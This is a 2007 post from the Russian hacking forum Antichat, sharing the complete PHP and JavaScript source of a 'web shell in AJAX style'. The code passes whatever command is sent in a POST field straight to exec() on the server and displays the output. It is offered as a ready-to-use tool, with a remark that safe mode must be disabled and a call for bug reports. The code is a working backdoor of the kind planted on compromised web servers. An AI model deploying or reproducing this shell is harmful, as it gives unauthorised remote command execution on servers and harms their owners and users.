Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

14.06.2007, 12:36
|
|
Участник форума
Регистрация: 30.05.2007
Сообщений: 115
Провел на форуме: 496690
Репутация:
135
|
|
web-shell на ajax
Вроде нигде не видел такую реализацию, а посему решили со знакомым попробовать 
Итак, на момент релиза первой стейбл версии мы имеем - просто форму для ввода команд и получения их результата без перезагрузки страницы следовательно мы имеем экономию трафика и вебдванольный эффект =) Хочется полностью построить полноценный веб-шелл на аяксе  Будем радовать релизами 
P.S. На сервере сейф-мод должен быть отключен
Код ниже
PHP код:
<?php
/**
*
* Shell in AJAX style v 0.1
* Idea of _Master-
* Coding by Kirpichtion
*
*/
if ( ! isset( $_POST['q'] ) )
echo
'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Shell in AJAX style</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<style type"text/css">
BODY {
font: 80% Dialog;
color: rgb(187, 187, 187);
background-color: #000;
margin: 0px;
padding: 0px;
}
FORM {
padding: 20px;
margin: 0;
}
#query input {
font-family: Dialog;
background-color: transparent;
color: rgb(187, 187, 187);
border: 1px inset rgb(187, 187, 187);
width: 100%;
padding: 6px;
}
#result div {
padding: 20px;
}
</style>
<script launguage="Javascript" type="text/javascript">
window.onload = function() {
var form = document.getElementById( \'query\' );
var input = form.getElementsByTagName( \'INPUT\' ).item(0);
form.onsubmit = function() { return sendQuery(); }
input.value = \'\';
input.focus();
}
function insertResult( request ) {
var result = document.getElementById( \'result\' );
var div = result.getElementsByTagName( \'DIV\' ).item(0);
var form = document.getElementById( \'query\' );
var input = form.getElementsByTagName( \'INPUT\' ).item(0);
div.innerHTML = request.responseText;
input.value = \'\';
input.focus();
}
function sendQuery() {
var form = document.getElementById( \'query\' );
var query = document.getElementsByTagName( \'INPUT\' ).item(0).value;
httpRequest( form.action, \'POST\', \'q=\' + query, insertResult );
return false;
}
function httpRequest( url, method, params, func ) {
var msxmlhttp = new Array(
\'Msxml2.XMLHTTP.5.0\',
\'Msxml2.XMLHTTP.4.0\',
\'Msxml2.XMLHTTP.3.0\',
\'Msxml2.XMLHTTP\',
\'Microsoft.XMLHTTP\');
if ( window.XMLHttpRequest ) {
request = new XMLHttpRequest;
if ( request.overrideMimeType ) {
request.overrideMimeType( \'text/xml\' );
}
} else if ( window.ActiveXObject ) {
for ( var i = 0; i < msxmlhttp.length; i ++ ) {
try {
request = new ActiveXObject( msxmlhttp[i] );
} catch ( e ) {
request = false;
}
}
}
if ( ! request ) {
alert( \'Can\\\'t creare XMLHTTP instance :(\' );
return false;
}
request.onreadystatechange = function() {
if ( request.readyState == 4 ) {
if ( request.status == 200 ) {
func( request );
} else {
alert( \'There was a problem with the request :(\' );
}
}
}
request.open( method, url, true );
request.setRequestHeader( \'Content-Type\', \'application/x-www-form-urlencoded\' );
request.send( params );
}
</script>
</head>
<body>
<form action="' . basename( __FILE__ ) . '" id="query">
<div>
<input type="text" />
</div>
</form>
<div id="result">
<div></div>
</div>
</body>
</html>';
else {
exec( $_POST['q'], $result );
echo nl2br( htmlentities( join( "\n", $result ) ) );
}
?>
О всех найденных багах и все пожелания постим тут. Мой респект Kirpichtion
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|